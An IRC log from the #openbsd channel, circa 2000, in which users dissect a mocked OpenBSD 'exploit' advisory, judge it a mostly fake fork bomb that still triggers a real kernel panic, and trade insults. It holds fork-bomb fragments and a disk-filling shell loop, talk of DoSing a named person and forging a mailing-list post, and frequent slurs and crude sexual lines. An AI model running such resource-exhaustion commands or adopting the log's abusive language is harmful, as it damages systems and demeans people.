  3896. <rys> mmap: opcode is looking at the same thing
  3897. <~el81> i looked into the technicalities of the bug and rloxley is DEAD on
  3898. <~el81> When can I expect a patch?
  3899. <mmap`> I think the problem is the new thread implementation
  3900. <rys> ~el81: christ, for the 10th time, set ulimits
  3901. <mmap`> if i run the chroot as root user, it doesnt break
  3902. <~el81> I mean, my servers will go down in a heartbeat.
  3903. <~el81> How can I fucking set limits on a kernel bug? Jesus
  3904. <mmap`> uh?
  3905. <mmap`> the fuck is wrong?
  3906. <rys> ~el81: it's not a kernel bug, set process limits per user and it'll log your user out before the program can fork bomb
  3907. <rys> unless, that is, if you're root.
  3908. <~el81> For god sakes man, it's not a fork bomb, I've looked at the code. I see no fork()
  3909. <mmap`> it could be a loop
  3910. <rys> are you fucking retarded.. read the code. it executes itself until it users up all availible memory
  3911. <rys> mmap: packetstorm.securify.com openbsd "advisory" on the top
  3912. <rys> it's fake
  3913. <~el81> If you had an ounce of clue, I would continue talking to you
  3914. <mmap`> uh
  3915. <~el81> Where is John, he himself even said it is not fake
  3916. <mmap`> ~el81, g0 tr4d3 w4r3z, wh3r3z y3r c0ur13r
  3917. <mmap`> ?!
  3918. <rys> ~el81: i do have a clue. do you even know c/c++
  3919. <~el81> I'm being serious, sorry I'm being angry
  3920. <mmap`> rys, where it is?
  3921. <~el81> rys, sorry just calm down
  3922. <mmap`> give me link
  3923. \xf9\xed\xf9 [4mat] [k5@dialin-12-212.montreal.primus.ca] has joined #openbsd
  3924. <john> * Log into the remote host
  3925. <[4mat]> can anyone help me install OpenBSD, man this is getting on my nerves ..<john> haha.
  3926. <john> * Log into the remote host
  3927. <mmap`> 4mat, read docs
  3928. \xf9\xed\xf9 tashie [~natasha@nic-25-c112-244.mn.mediaone.net] has joined #openbsd
  3929. <dhartmei> nice, eh?
  3930. <john> * Grab our exploit
  3931. <john> ...
  3932. <tashie> Evenin all.
  3933. <rys> http://packetstorm.securify.com/0011-exploits/hp2.adv
  3934. <[4mat]> mmap` from ?
  3935. <john> Three years without a remote hole? Strike that.
  3936. <mmap`> www.openbsd.org/faq
  3937. <[4mat]> shit
  3938. <dhartmei> wonder what a local hole is, compared to that ;>
  3939. <[4mat]> i switched to open bsd cause no exploit
  3940. <[4mat]> that's mad ghey
  3941. <mmap`> we are not msnhelp, read it, if you got a non documented question, we will help.
  3942. <[4mat]> just got rooted yesterday
  3943. <rys> it's not an exploit
  3944. <rys> i wish someone would explain the code, it's just a resource eater
  3945. <slutpuppy> rys i dont know why your bothering with these rootards
  3946. <rys> slutpuppy: i wonder myself.
  3947. <tashie> I was lookin for someone named cakespoon or something like that
  3948. <tashie> he invited me to kinda join
  3949. <tashie> is he still here?
  3950. <slutpuppy> int ptr* /* er3et codinh */
  3951. <tashie> w/a different nick?
  3952. <tashie> sorry to bother ya'll
  3953. <slutpuppy> if (Fork() == 0) {
  3954. <slutpuppy> ...
  3955. <slutpuppy> }
  3956. <slutpuppy> ...
  3957. <dhartmei> rys: i now understand it pretty well, it's pretty much the same as a
  3958. "execlp(argv[0], 0);"
  3959. <slutpuppy> printf "\n 3y3 y4m rl0xl3y\n";
  3960. <rys> dhartmei: yeah that's about it
  3961. \xf9\xed\xf9 SignOff ar: #OpenBSD (Hmmm. EPIC4-0.9.10-SSL has another bug.  Go figure...)
  3962. <rys> he just bloated it
  3963. <tashie> Ok I tried... if u know him... thanks
  3964. \xf9\xed\xf9 tashie [~natasha@nic-25-c112-244.mn.mediaone.net] has left #openbsd []
  3965. <dhartmei> which i would call a fork bomp even though it's not using fork(), even the author used the term 'f0rk'
  3966. <ratcorpse> i think its not rloxgay who wrote this shit
  3967. <rys> hmmm my front door is wedged open
  3968. <ratcorpse> its someone else who tried to fuck with us, ssg, teso and rloxgay
  3969. <ratcorpse> ;]
  3970. <rys> (apartment complex).. guess i don't have to log out after all
  3971. <mmap`> rys, lol that code is mad newbie
  3972. <rys> mmap`: no shit.. it's just funny that it got posted to packetstorm
  3973. \xf9\xed\xf9 ~el83 [~el83@~el83.net] has left #openbsd []
  3974. <rys> it's even funnier that there are still clubies in here that are asking when we're going to have a patch
  3975. <mmap`> ya
  3976. <mmap`> lol
  3977. <dhartmei> i'm beginning to think their trolls
  3978. \xf9\xed\xf9 mortay [rifug@rifug.org] has joined #openbsd
  3979. <dhartmei> they're, even
  3980. <mortay> anyone play red alert 2 online here?
  3981. <mmap`> forkbomb doesnt mean the fork() function is being used, it means something is taking up resources
  3982. <mmap`> send me red alert and ill be glad to play.
  3983. <mortay> mmap`^B:^B hmm, its two cd's
  3984. <ratcorpse> rys: packetstorm is retarded and they dot check codes. they just look at the name
  3985. <mmap`> mortay, ic.
  3986. <ratcorpse> u can defeat fork bombs in solaris
  3987. <ratcorpse> i dont know know about obsd
  3988. <mortay> can i
  3989. <ratcorpse> u can limit stuff  in /etc/system
  3990. <mmap`> another thing that makes me laff
  3991. <mmap`> is the lame faqs on security focus
  3992. <ratcorpse> yah no shit
  3993. <mmap`> they have like part I, then part II is the same as part I
  3994. \xf9\xed\xf9 mode/#openbsd [+m] by john
  3995. <john> Anyone mind?
  3996. \xf9\xed\xf9 mode/#openbsd [+oo shinobi nosaj] by john
  3997. \xf9\xed\xf9 mortay [rifug@rifug.org] has left #openbsd []
  3998. \xf9\xed\xf9 mode/#openbsd [+o jethro] by john
  3999. \xf9\xed\xf9 SignOff dew_freak: #OpenBSD (Dead socket)
  4000. \xf9\xed\xf9 fatal [~gem@193.10.185.3] has joined #openbsd
  4001. \xf9\xed\xf9 SignOff batz_: #Phrack (Idle time limit exceeded)
  4002. <john> Wendy's is looking good.
  4003. <john> Be right back. :)
  4004. <john> http://www.makintosh.com/~john/Misc/rloxley.txt
  4005. <dhartmei> john: grammer? lol
  4006. <john> I know.
  4007. <john> "it's"
  4008. <john> heh.
  4009. <~el82> theo, anyone: when can i expect a patch for the attack described in the 'hackphreak advisory'
  4010. <dhartmei> re packetstorm: "Thanks for the mail!  I really should have read it much more carefully, it was added in a hurry. -Alan", and gone it is :)
  4011. <rys> obecian: hey you seen the advisory?
  4012. <rys> heh mmap`.. packetstorm removed the advisory
  4013. <mmap`> haha
  4014. <mmap`> lol
  4015. <mmap`> about time..
  4016. <rys> i had it bokmarked.. it's gone
  4017. <rys> mmap: hey http://www.hackphreak.org/admin/ if you ever want to hack their
  4018. channel
  4019. <rys> ratcorpse: heh trying to get a copy of the "advisory" from undernet
  4020. <rys> haha
  4021. <ratcorpse> they rm'ed  it from packetstorm
  4022. <mmap`> haha
  4023. <ratcorpse> cauzsei i found ho wrote it
  4024. <ratcorpse> he denied it
  4025. <ratcorpse> and it was gone with jet speed
  4026. <mmap`> who wrote it.
  4027. <ratcorpse> http://sneakerz.org/~rat/hp2.adv
  4028. <ratcorpse> rash akd m1x of security.is
  4029. <ratcorpse> security.is guys are very upset about it
  4030. <john> ratcorpse, quit.
  4031. <john> I've heard enough of that shit.
  4032. <mmap`> lol
  4033. <ratcorpse> we suspect some other ppl but hat guy is the one who wrote it most likely since the article is 'gonew' right afteer everyone  yelled at him ;]
  4034. <rys> ratcorpse: haha
  4035. <ratcorpse> john: ok
  4036. <mmap`> echo penis > penis ; while (true) ; do cat penis >> penis ; done is also forkbomb
  4037. <mmap`> its lame.
  4038. <john> From: rloxley <rloxley@HACKPHREAK.ORG>
  4039.  
  4040. <john> Subject:      OpenBSD Exploit
  4041.  
  4042. <john> toor^B:^B BUGTRAQ@SECURITYFOCUS.COM
  4043. <john> moron.
  4044. <no_pants> john:  what's happening?  bogus bug ?
  4045. <john> hahaahah.
  4046. <john>         A very smart attacker will:
  4047.  
  4048. <john>
  4049. <john>                 * Crash the kernel
  4050.  
  4051. <john>                 * Assume the location of the box which crashed (@ the colo)
  4052. <john>                 * Use DDB to gain god status
  4053. <mmap`> john, HAHAHA
  4054. <zothorn> john: yeah, i read that. But a real smart hacker will somehow remove log entries so he doesn't get arrested
  4055. <aKt0r> HEH
  4056. <aKt0r> new openbsd hole released
  4057. <whoops> "hole"
  4058. <aKt0r> potential remote exploit
  4059. <whoops> more like local DoS.
  4060. <aKt0r> by the looks of it yeh
  4061. <aKt0r> a very sarcastic advisory towards the openbsd guys
  4062. <whoops> indeed.
  4063. <whoops> all it does is provoke a panic, though.
  4064. \xf9\xed\xf9 niles [milford@snow.cs.siue.edu] has joined #openbsd
  4065. <no_pants> so
  4066. <no_pants> they wanted a panic
  4067. <no_pants> now they got it
  4068. <aKt0r> have u tested it ?
  4069. <whoops> Yeah. The box panic'ed and booted.
  4070. <whoops> as expected.
  4071. <freite> 'Once the system has crashed, a local user (with access to the terminal) may in fact hack the system.' <--- ummm
  4072. <no_pants> hahahah
  4073. <no_pants> console access
  4074. <no_pants> can't you mark console as insecure ?
  4075. \xf9\xed\xf9 rewben [~rewben@d141214.dtk.chello.nl] has joined #openbsd
  4076. <ratcorpse> aKt0r: its gone
  4077. <freite> well..you have access to the kernel debuger
  4078. <whoops> that is, _if_ the kernel is compiled to drop into DDB on panic.
  4079. <no_pants> what's DDB ?
  4080. \xf9\xed\xf9 kkenn [kris@citusc17.usc.edu] has joined #openbsd
  4081. <whoops> debugger
  4082. <ratcorpse> its some idiot kid who was pissed at zsh, ssg , teso and obsd alltogether
  4083. <ratcorpse> hmm
  4084. <ratcorpse> btw
  4085. <freite> i have ddb.panic=0
  4086. <kkenn> NEWSFLASH! You can root an openbsd box if you have access to the serial
  4087. console and it's got DDB in the kernel! :-)
  4088. <ratcorpse> is there anything like solaris /etc/system in obsd that u can tune stuff with?
  4089. <zb^3> i'm on thier channel
  4090. <zb^3> we're trying to find out how you telnet into DDB on OpenBSD
  4091. <zb^3> :)
  4092. <genecyst> wow, #hackphreak is amazingly lame
  4093. <whoops> http://www.realweasel.com/
  4094. <whoops> (nice cards :)
  4095. <kkenn> genecyst: :-)
  4096. \xf9\xed\xf9 SignOff newsham: #Phrack (zzz)
  4097. <defile> I can see why, it's got like seven people in the channel
  4098. <defile> 6 now ;-)
  4099. <kkenn> <vac_> tomorrow attrition is going to be filled with defaced openbsd sites
  4100. <whoops> lol
  4101. <`Athlon> So what there is a big fucking bug in it?
  4102. <Feanor_> unfortunately realweasel cards are 250$/pop
  4103. <nosaj> vac_ must be portraying some sarcasm.. he knows better
  4104. <aKt0r> is openbsd2.7 vuln to it ?
  4105. <whoops> aKt0r: yes.
  4106. <genecyst> the funny thing is rloxely used Outlook to mail the advisory
  4107. <genecyst> talk about security holes...
  4108. <whoops> this is what I got, btw, after rebooting
  4109. <whoops> Nov  6 07:48:02 wintermute savecore: reboot after panic: AMAP_B2SLOT: invalid by
  4110. <whoops> te count
  4111. <no_pants> uhm
  4112. <no_pants> get this
  4113. <no_pants> you don't need realweasel cards
  4114. <no_pants> some of the new intel 2u rack mount chassis
  4115. <no_pants> you can set up in the bios to use the serial port instead
  4116. <Feanor_> no_pants: but that shit is even more expensive
  4117. <zb^3> yupp
  4118. <zb^3> we do that
  4119. \xf9\xed\xf9 SignOff vac_: #Phrack (I'm too lame to make a quit message)
  4120. <Feanor_> oh that ya...but you can't use a serial port to reboot a misbehaving box
  4121. <no_pants> feanor:  not really
  4122. <zb^3> i hope we don't get rooted through this 'DDB' thing
  4123. <no_pants> the intel 2u shit
  4124. <`Athlon> At lest they cant do that if they dont have acess to the box
  4125. <zb^3>  T ALEPH1 PLZ BE ALLOWING POSTS FROM NORMAL USERZ AND NOT JUST SKRIPT KIDDIEZ K PLZ THNX
  4126. <Feanor_> aleph's getting lazy ;P)
  4127. <zb^3> heh
  4128. \xf0 zb^3/#openbsd jerkcity'd aleph a couple of weeks ago
  4129. <lumpy_> rloxely seems to think all exploits are remote exploits
  4130. \xf9\xed\xf9 SignOff kyoorius: #Phrack (Leaving)
  4131. <ratcorpse> dude
  4132. <ratcorpse> its not rlox who wrote it
  4133. <ratcorpse> its some gay kid
  4134. <ratcorpse> he knows what hes doing, he wrote it to bash ppl but it backfired anyway
  4135. <no_pants> rloxely is gonna get dos'ed
  4136. <ratcorpse> it is NOT rloxlyt
  4137. <ratcorpse> damn
  4138. <no_pants> i hope someone roots his ass and reports to bugtraq howmuch of a moron it is
  4139. <genecyst> hah, that would just be lame
  4140. <ratcorpse> the kid who made it is a .lifeless dork
  4141. <ratcorpse> i mean
  4142. <ratcorpse> whatever john will kb me if i keep talking about this shit
  4143. <ratcorpse> no comment
  4144. <lumpy_> well, that all makes sense now
  4145. \xf9\xed\xf9 SignOff rewben: #OpenBSD (gotta go)
  4146. \xf9\xed\xf9 mindsport [mind@talon.darkshadow.org] has joined #openbsd
  4147. <zb^3> i'm making a yahoo club for rloxley fans
  4148. <lumpy_> because the last time ive seen people talking to rloxley
  4149. <lumpy_> he didnt seem to know very much
  4150. <aKt0r> somebody might have ripped him off
  4151. <genecyst> haha
  4152. \xf0 zb^3/#openbsd forges a post from alpeh1 to bugtraq about the evil ctrl+alt+esc break to DDB sploit on freebsd!
  4153. <zb^3> fear
  4154. <aKt0r> lol
  4155. <aKt0r> did someone dos everyone with the new sploit
  4156. <aKt0r> ?
  4157. \xf9\xed\xf9 SignOff cpt: #Phrack (moff moff)
  4158. <defile> not that I know of
  4159. <sizaym> indeed
  4160. <aKt0r> probably coded a quick script
  4161. \xf9\xed\xf9 bind [bind@subterrain.net] has joined #openbsd
  4162. <aKt0r> bind heh
  4163. <seifried> splork time
  4164. <bind> god.
  4165. <bind> how rediculous
  4166. <aKt0r> the new sploit worked fine in a shell script against all the bots :P
  4167. <bind> dude, you dont know what the fuck you are talking about.
  4168. <bind> you have been misinformed.
  4169. <aKt0r> hah
  4170. \xf9\xed\xf9 SignOff drkspyrit: #Phrack (Read error: 54 (Connection reset by peer))
  4171. \xf9\xed\xf9 SignOff Lionel_: #Phrack (Ping timeout: 240 seconds)
  4172. <seifried> fresh pooh
  4173. <ratcorpse> * zb^3 forges a post from alpeh1 to bugtraq about the evil ctrl+alt+esc
  4174. <ratcorpse>    break to DDB sploit on freebsd!
  4175. <Figz> BAHA, everyone read this:
  4176. <Figz> From: rloxley <rloxley@HACKPHREAK.ORG>
  4177. <Figz> Subject:      OpenBSD Exploit
  4178. <Figz> To: BUGTRAQ@SECURITYFOCUS.COM
  4179. <Figz> Man, that group gives OpenBSD-haters a bad name.
  4180. <zb^3> hehe
  4181. <zb^3> T FIGZ KAN U SHOW ME HOW TO COMPILE DDB INTO MY KERNEL K PLZ THNX??
  4182. <Figz> heh
  4183. <zb^3> T FIGZ WHAT PORT IS 'DDB' ON IN OPENBSD
  4184. <zb^3> ????
  4185. <Figz> I especially like the bit about it being a "remote hole"..
  4186. <Figz> You see, just log in remotely, crash the kernel, drive out to the colo, repair all the vm damage from ddb, set euid to 0 in some shell, set the system running again..
  4187. <Figz> Hmm, oh yea, "remote hole"!
  4188. <Ober_> ok made it
  4189. <Ober_> is there a security mailing list for obsd?
  4190. <Ober_> I would prefer to remove myself from bugtraq for obvious reasons
  4191. <code9> today openbsd local dos released from bugtraq
  4192. <Ober_> heh
  4193. <Ober_> did not see one
  4194. <Ober_> :)
  4195. <freite> is there a patch for the DOS?
  4196. <Ober_> which dos?
  4197. <Ober_> I did not see a reference to obsd this morning.
  4198. <code9> http://www.securityfocus.com/templates/archive.pike?list=1
  4199. <code9> openbsd exploit article
  4200. <Ober_> so what is the exploit.
  4201. <Ober_> I can not click on the adv file without it wanting to d/l it. :(
  4202. \xf9\xed\xf9 SignOff renz: #Phrack (Ping timeout: no data for 250 seconds)
  4203. \xf9\xed\xf9 Tal_ is now known as Kaki
  4204. <StJohn> What? The panic-thing?
  4205. \xf9\xed\xf9 rewben [rewben@d131204.dtk.chello.nl] has joined #openbsd
  4206. \xf9\xed\xf9 dhartmei [~dhartmei@cable-ggar48-183.intergga.ch] has joined #openbsd
  4207. \xf9\xed\xf9 SignOff rewben: #OpenBSD (Client Quit)
  4208. \xf0 Ober_/#openbsd does not see the exploit
  4209. <Ober_> http://just.rtfm.net/things_that_kill_bsd/
  4210. <Ober_> time to add this new one
  4211. <Ober_> so how the hell is this a "remote" exploit?
  4212. <Ober_> #hackphreak has too much of an agenda.
  4213. <dhartmei> still arguing about the fake exploit? :)
  4214. <Ober_> is it fake?
  4215. <Ober_> I have not tried it yet
  4216. <dhartmei> the one that was remove from packetstorm? yes, for exactly that reason.
  4217. <code9> Ober,me too
  4218. <code9> #hackphreak article - Section 5 [TO HELL WITH YOU'S]:
  4219. <code9> Theo de Raadt and the OpenBSD Team
  4220. <Ober_> yeap
  4221. <Ober_> "get root remotely"
  4222. <Ober_> haha
  4223. <code9> what's mean?
  4224. <code9> "get root remotely"?
  4225. <Ober_> yes
  4226. \xf9\xed\xf9 torqumada [anonymous@paladincorp.com.au] has joined #openbsd
  4227. <Ober_> it means that they say you can get root on openbsd with this exploit remotely
  4228. <Ober_> dropping a box to ddb from a ssh login does not count as root
  4229. <Ober_> :)
  4230. \xf9\xed\xf9 seiki [seiki@chaotic.darkmind.org] has joined #openbsd
  4231. <Ober_> if it does actually crash it, then its still a local dos
  4232. <seiki> morning
  4233. <Figz> I haven't been able to make it work.
  4234. <Ober_> morning
  4235. <dhartmei> it's a simple execlp() bomb, aka forkbomb
  4236. <Ober_> hey figz
  4237. <Ober_> figz the bomb?
  4238. <dhartmei> Figz: remove the user limits :)
  4239. <Ober_> so its not a real uvm bug?
  4240. <Figz> There may well be something to it, but that exploit isn't even close to doing anything weird or dangerous.
  4241. <Ober_> hell I got some of those
  4242. <dhartmei> no, it's completely fake
  4243. <Figz> Read the exploit, it does nothing.
  4244. <Ober_> http://just.rtfm.net/things_that_kill_Bsd
  4245. <Ober_> http://just.rtfm.net/things_that_kill_bsd
  4246. <code9> dhartmei,Figz, hi
  4247. <code9> fake?
  4248. <Figz> ober, is that the one on bugtraq last night?
  4249. <Ober_> figz the ones I have no.
  4250. <Ober_> but some of them do the same thing
  4251. <Figz> what?
  4252. <Figz> same thing as the one on bugtraq?
  4253. <Ober_> I have a sh script that
  4254. <Ober_> will
  4255. <Figz> wtf are you talking about, the one on bugtraq doesn't do anything at all
  4256. <Ober_> well same sort of resource exhaustion
  4257. <Ober_> mine are mbufs
  4258. <Ober_> figz ahh..
  4259. \xf0 seiki/#openbsd tested it.. did nothing
  4260. <Figz> "yours" are mbufs? what does this have to do with the one on bugtraq?
  4261. <Ober_> http://just.rtfm.net/things_that_kill_bsd
  4262. <code9> dhartmei, this article is only fork bomb?
  4263. <Ober_> you said that what they had was just a forkbomb.
  4264. <Figz> ober, I saw the url, you haven't answered my question
  4265. <Figz> I said no such thing.
  4266. <Ober_> ok.
  4267. <Figz> show me where I said this
  4268. <Figz> and answer my question
  4269. <dhartmei> code9: i'm not sure we're talking about the same one. but yesterday there was much chattering about one one packetstorm that was completely fake, well, just a forkbomb with exaggerated comments (not remote)
  4270. \xf9\xed\xf9 SignOff tequiare: #OpenBSD (Ping timeout: no data for 247 seconds)
  4271. <Ober_> sorry it was dhartmei that said it
  4272. <code9> dhartmei, aha
  4273. <Ober_> <dhartmei> it's a simple execlp() bomb, aka forkbomb
  4274. <Figz> dhartmei, the "exploit" on bugtraq last night doesn't even work as a forkbomb
  4275. \xf9\xed\xf9 Vik_ [~co@213.237.17.39] has joined #openbsd
  4276. <Ober_> and I was just commenting that I had a collection of simular scripts
  4277. <Figz> it would need to write its image back out to a file first
  4278. <Figz> it doesn't do that
  4279. <Ober_> ok. I stand corrected.
  4280. <Figz> instead it casts the data to a struct exec, and then does nothing with that pointer
  4281. <Figz> ie, it's totally useless, does nothing
  4282. <Figz> is not obvious how it COULD do anything
  4283. <dhartmei> oh, there are several, then. a DoS on this channel, at most :)
  4284. <code9> dhartmei, openbsd able forkbomb attack
  4285. <Vik_> is 2.8 out ?
  4286. <code9> use ping
  4287. <dhartmei> they sound related, they posted to bugtraq first, then extended it and posted it to packetstorm, it seems. the one on packetstorm did execlp() a copy endlessly.
  4288. <seiki> 2.8 is due out dec 1st.
  4289. <Vik_> it says on the web page under errata that it is 2.8
  4290. <Vik_> yeah
  4291. <Ober_> they say it was a prank
  4292. <Ober_> <p0lar> freebased he listen, you shouldnt take that bugtraq thing too serious, its some prank thing against rloxley heh
  4293. <dhartmei> code9: of course you can forkbomb on obsd, if you don't set user limits. i crashed myself running the thing as non-limited user :)
  4294. <dhartmei> code9: the same code works on nearly any unix, including Linux for instance. it's a prank.
  4295. <StJohn> freite: Oh.
  4296. <code9> dhartmei,yep
  4297. <Vik_> there is no major change in 2.8 except new drivers , bug fixes ?
  4298. \xf9\xed\xf9 gaius [info@plan9.hert.org] has joined #phrack
  4299. <gaius:#phrack> hey!
  4300. \xf9\xed\xf9 SignOff Pie: #OpenBSD (^B[^BBX^B]^B The birds kept calling his name, thought Caw)
  4301. \xf9\xed\xf9 krapht [~krapht@ikarus.hardboiledegg.com] has joined #openbsd
  4302. <gaius:#phrack> jakarta rules
  4303. <Ober_> figz it works?
  4304. <gaius:#phrack> if you are interested in remote work or coming here fucking some indonesian pussies.. send bio resume to acz@hert.org
  4305. <gaius:#phrack> ^G
  4306.  
  4307.     *** OBSDCMNT : shutup fukko ***
  4308.  
  4309. <noppa> openbsd: (clueless admin required to add holes)
  4310. <is-> (if you have read through this you have now more reason to switch to Linux).
  4311. <is-> hahahahahahahhhhh
  4312. <Figz> We don't get ctcp floods here.. when this channel gets attacked it's usually DDoS...
  4313. <Ober_> figz did you ever find how to "fix" the bugtrack "sploit" so that it did anything at all?
  4314. <Figz> ober, the "fix" is "include <sys/stat.h>"
  4315. <Ober_> ahh
  4316. <Figz> I just pasted when I was trying it out.
  4317. <Figz> pastoed even
  4318. <Ober_> that would just prevent it from compiling thought right?
  4319. <Figz> that is all
  4320. <Ober_> so it was just fud then. heh
  4321. <Figz> no, the exploit works
  4322. <Ober_> hmm
  4323. <Figz> not enough sanity checking on the a.out header values
  4324. <is->         I hope this advisory brings you closer to NT / Linux, rather than
  4325. <is->         OpenBSD. Linux & NT are way better anyway.
  4326. <coax> heh. the app guesses where a structure's data is.
  4327. <is-> LMAO
  4328. <seiki> what poor lost soul wrote that
  4329. \xf9\xed\xf9 typo [typo@ingsoc.org] has joined #openbsd
  4330. <Figz> it's a pretty silly post alright..
  4331. \xf9\xed\xf9 Riedel [riedel@oper.irc.emory.edu] has left #openbsd []
  4332. <coax> Naw. OpenBSD's the better choice. obviously. heh.
  4333. <dhartmei> i can part when i see it split
  4334. <Figz> #2  0xe0127465 in panic (fmt=0xe01e0170 "AMAP_B2SLOT: invalid byte count") at ../../../../kern/subr_prf.c:214
  4335. <Figz> #3  0xe01e062e in amap_alloc (sz=4099, padsz=0, waitf=1) at ../../../../uvm/uvm_amap.c:230
  4336. <Figz> #4  0xe01e0cf6 in amap_copy (map=0xe277d25c, entry=0xe277ea30, waitf=1, canchunk=1, startva=8192, endva=8193) at ../../../../uvm/uvm_amap.c:603
  4337. <Figz> Anyone know any irc.colorado.edu opers? That'd do for getting the channel back..
  4338. \xf9\xed\xf9 wkz [wackie@freebsd.org.il] has joined #openbsd
  4339. \xf9\xed\xf9 wkz [wackie@freebsd.org.il] has left #openbsd []
  4340. <slutpuppy> for (i = 0; i > f0rbomb; i++) { Sem_wait(&ptr->mUtEx); printf("my n4m3 is rl0xl3y 4nd 3y3 4m a h4x0r3r %d\n") } exit(0); }
  4341. \xf9\xed\xf9 bugoid [bug@gecko.roadtoad.net] has joined #openbsd
  4342. <slutpuppy> :) hello yall
  4343. <Soal_Reap> what ever -q does..
  4344. <mmap`> pthread_join()
  4345. <dhartmei> it does what man dhcpd says
  4346. <Soal_Reap> heheh
  4347. <mmap`> #define NTHREADS 500
  4348. <mmap`> ulimit -n 600
  4349. <mmap`> ./fokbmb
  4350. \xf9\xed\xf9 f0rkbomb is now known as sil
  4351. <sil> www.antioffline.com/er3et.c <--- new OpenBSD advisory (shhhh)
  4352. <fx> it was fake? i thought it was too stupid to be true
  4353. <Pie> live
  4354. <fx> the bug was already fixed though.
  4355. <bind> yea, it wasnt by rloxley, ssg or anyone
  4356. <bind> some dude named lore wrote it
  4357. <bind> to attempt to embarrass some people
  4358. <fx> oh, lore.
  4359. <bind> stupid fuck
  4360. <bind> im pretty pissed off
  4361. <fx> lore of.. b4b0?
  4362. <freite> Pie: www.opensound.com
  4363. <bind> i guess so
  4364. <bind> some stupid fuck
  4365. <Wangster> "a smart attacker will.......... walk up to the console...." ROTFL
  4366. <Wangster> I think if you have an attacker walking up to the console you have much larger problems... haha
  4367. <rwxr--r--> finished... completely done... www.antioffline.com/er3et.c
  4368. <Soal_Reap> thnks all fer yer help
  4369. <rwxr--r--> someone send me a million $US now
  4370. <rwxr--r--> or i'll post it to bugtraq
  4371. | rys (rys@supernal.godsey.net) (Internic Network)
  4372. \xb3 ircname  : Joe
  4373. | channels : #openbsd #Icons_Of_Vanity
  4374. \xb3 server   : irc.east.gblx.net (Global Crossing East Client Server)
  4375. | away     : rys - gone
  4376. : idle     : 1 hours 3 mins 18 secs (signon: Sun Nov  5 22:15:00 2000)
  4377. <~el81> rys, What happened to all that talk of the bug being only a 'fork() bomb' and calling everyone cluebies, its valid, now give me patches
  4378. \xf0 dhartmei/#openbsd makes fire to roast the troll
  4379. <toor> fork bombs can be stopped by limiting resources before the shell is executed
  4380. <~el81> The bug on bugtraq, I first heard about it on packetstorm
  4381. <~el81> This really sucks people have crashed two of my machines
  4382. <~el81> troll? dhartmei, if I recall correctly, you also thought it was a fork()
  4383. bomb
  4384. <Figz> 0h H0, 1tz ob3ci4n..
  4385. <dhartmei> i still think it is. or does someone _serious_ confirm that the "ehdr->a_data += 3;" is the relevant part of the code. apart from that, it _is_ just
  4386. a forkbomb, that much i can tell.
  4387. <~el81> Uh, earlier I saw figz confirm the a_data+=3 is the actual bug.
  4388. <~el81> He pasted backtrace from what I saw.
  4389. <obecian> figz: ssg is so pissed about being mentioned in that bogus hp2.adv
  4390. <Figz> ssg?
  4391. <obecian> yeah the original advisory that got pulled off packetstorm within a few hours
  4392. <obecian> subterrain
  4393. <~el81> You should go crash yourself again.
  4394. \xf9\xed\xf9 samurii [samuri@shell2.shore.net] has joined #openbsd
  4395. <Figz> the "advisory" showing up on bugtraq when it did probably got it fixed in 2.8
  4396. <john> haha.
  4397. <Figz> so it's probably just as well.
  4398. <obecian> figz: yup
  4399. <~el81> Good, it is patched in 2.8 already?
  4400. <Figz> yea, 2.8 will be patched
  4401. <Figz> but it was close
  4402. <~el81> oh, will be
  4403. <kajar> er good god, there was actually a bug in that mess?
  4404. <~el81> Good they released before 2.8 at least
  4405. <shinobi> that bugtraq post was goofy as shit
  4406. <shinobi> ppl like to embarrass themselves there
  4407. <kajar> that adv was totally silly, i still have trouble believing it is real
  4408. <obecian> shinobi: yeah i wish my name wasn't on there sheesh
  4409. <fx> Why was your name on there?
  4410. <obecian> shinobi: the "real" advisory has me on the "fuck-you's" list for reporting the uvm bug too early to theo
  4411. <fx> Oh.
  4412. <~el81> Well, all I'm saying is I need patches for 2.7, because these guys are crashing my kernel, anyone have an estimate?
  4413. <fx> Well, it was all bull.
  4414. <obecian> yup
  4415. <fx> "Private release date: Nov 5, 1998". Uh, uvm wasn't even in the tree in 1998.
  4416. \xf9\xed\xf9 SignOff Ghostwhee: #Phrack (SendQ exceeded)
  4417. <toor> ~el81 - get out of the shell bizz
  4418. <obecian> right ;)
  4419. <~el81> shell bizz?
  4420. <~el81> oh :)
  4421. <obecian> and i never mailed theo about a uvm bug, and ssg never helped out with the advisory or code to the advisory
  4422. \xf9\xed\xf9 SignOff saw: #OpenBSD (night)
  4423. <obecian> as far as i know hackphreak didn't have anything to do with it... it's someone that is pissed cuz of xlock from a while back
  4424. <obecian> that could only be adm in my mind
  4425. <obecian> well whatever, as long as we got something out of it
  4426. \xf9\xed\xf9 xav [xavier@02-095.063.popsite.net] has joined #openbsd
  4427. <~el81> Yeah toor, I had to remove three people, for crashing me every minute
  4428. <ratcorpse> http://www.antioffline.com/er3et.c
  4429. <ratcorpse> holy fucking cow
  4430. <toor> eh
  4431. <seifried> that is so incredibly ugly
  4432. <john> ratcorpse, don't you have something better to do?
  4433. <john> printf(*size = d%\nwOrD tO bIgBiRd 3y3 0wN ev3rYtHinG\n);
  4434. <obecian> too much leet speak for one day =/
  4435. <majidf> hehe
  4436. \xf9\xed\xf9 SignOff obecian: #OpenBSD (end of line)
  4437. \xf9\xed\xf9 Topic (#OpenBSD): http://www.openbsd.org/errata27.html#execsubr
  4438. <obecian> did you see the second piece of code off of www.antioffline.com
  4439. \xf0 jZZzZZz/#openbsd sticks his long hard fat FLAG POLE into the CUNT of #hackphreak
  4440. <obecian> shit that's horrid
  4441. <obecian> http://www.antioffline.com/er3et.c
  4442. <jZZzZZz> As a joke, I'm going to post a letter to Bugtraq about a new vulnerability in OpenBSD..... The one where you can walk up to the console, and take it.
  4443. <jZZzZZz> The only solution is to use TCFS.
  4444. <obecian> hahahah
  4445. \xf9\xed\xf9 SignOff datafirm: #OpenBSD (Read error: 54 (Connection reset by peer))
  4446. <jZZzZZz> And of course the OpenBSD developers were hiding this from everyone.
  4447. <obecian> five finger discount vulnerability
  4448. <obecian> version 1.0
  4449. <obecian> hehe
  4450. <jZZzZZz> I am working on it nowl.
  4451. <jZZzZZz> does anyone have an archive of the original lame vulnerability so i can use it as a template for my lame-O advisory ?
  4452. <SmooveB> do you want that with the 2 blank messages attached (text and html)?
  4453. <jZZzZZz> i want the fucking advisory
  4454. <jZZzZZz> asdasfasjfjasajsjoasojasdfojasfd
  4455. <SmooveB> on its way
  4456. <jZZzZZz> noi
  4457. <jZZzZZz> i am stupid and i dont want to learn mutt
  4458. <jZZzZZz> i am so used to pine that to switch would make my brain leak acids
  4459. <jZZzZZz> OK, i figured it out
